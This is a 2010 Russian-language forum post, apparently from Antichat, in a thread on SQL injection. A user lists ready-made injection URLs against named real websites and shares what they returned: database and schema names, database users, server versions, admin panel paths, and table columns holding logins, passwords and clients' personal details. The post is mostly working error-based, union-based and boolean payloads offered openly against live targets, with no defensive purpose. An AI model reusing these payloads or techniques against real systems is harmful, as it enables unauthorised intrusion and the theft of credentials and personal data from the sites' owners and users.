SQL Инъекции

#11

30.08.2010, 13:30

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

Код:

http://stitch.kh.ua/index.php?section=products&action=list&category=49%20and%20%28select%20count%28*%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%20concat%28%28%20Select%20COLUMN_NAME%20FROM%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=0x75736572%20and%20TABLE_SCHEMA=0x7374697463685f73686f70%20%20limit%200,1%29,floor%28rand%280%29*2%29%29%29%23

админко /admin

CMS MIB 2008

ветка 5.0.51a-24+lenny2-log, БД stitch_shop, user stitch@localhost, сервер debian-linux-gnu

columns user

idс login password userid usergroupid membergroupids displaygroupid username password passworddate email1 styleid parentemail1 homepage icq aim yahoo1...

БД

information_schema belson rpo_itstep_forum stitch?shop stitch_forum stitch_oscommerce stitch_shop

Код:

http://hsr.kh.ua/services/main/index.php?go=index-2&type=2%20and%200%20union%20select%20111111111111%23&add=index22

Код:

http://www.news2news.com/vfp/?group=13+and+5=@@version--+&=0&PHPSESSID=a8c7ba850a36c4fceef6149ec16a7424 -> true

http://www.news2news.com/vfp/?group=13+and+4=@@version--+&=0&PHPSESSID=a8c7ba850a36c4fceef6149ec16a7424 -> false

www.news2news.com:sarcastic_hand: на нём итак повсюду ошибки и бес иньекции.

Код:

http://www.imaginenative.org/gallery_preview.php?id=24&y=99%27%20+%20and%201=%28select%20count%28*%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%20concat%28version%28%29,floor%28rand%280%29*2%29%29%29--+

Duplicate entry '5.0.851' for key 1

portbld-freebsd7.21

columns table login:

login_fname login_lname username password

columns table clients:

id client_role client_contact_first_name client_contact_last_name client_aboriginal

client_indigenous_affiliation lient_company_name client_street client_city client_province

client_postalcode client_country client_phone_type client_phone_country_code client_phone

client_phone_ext client_phone_type client_fax client_email client_web client_artist_bio client_artist_other_works

client_ts client_call_id client_address_type lient_address_unit client_street_Part2 client_main_contact

client_phone1_area_code client_phone1_part_one client_phone1_part_two client_phone2_area_code client_phone2_part_one client_phone2_part_two client_fax_area_code client_fax_part_one

Код:

http://www.abbeyfield.ca/story.php?aid=54+union+select+1,2,3,4,5,6,7--+

db481269@localhost

information_schema:db481269

house_info

id:society_name:house_name:location:city:founded:c apacity:contact:contact_phone:contact_email:cost:w ebsite:in

Код:

http://www.sierra.ca/news.php?id=25%20and%200%20union%20select%201,GROUP_CONCAT%28SCHEMA_NAME%20SEPARATOR%20%27:%27%29,3,4,5,6,7%20FROM%20information_schema.SCHEMATA--+

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL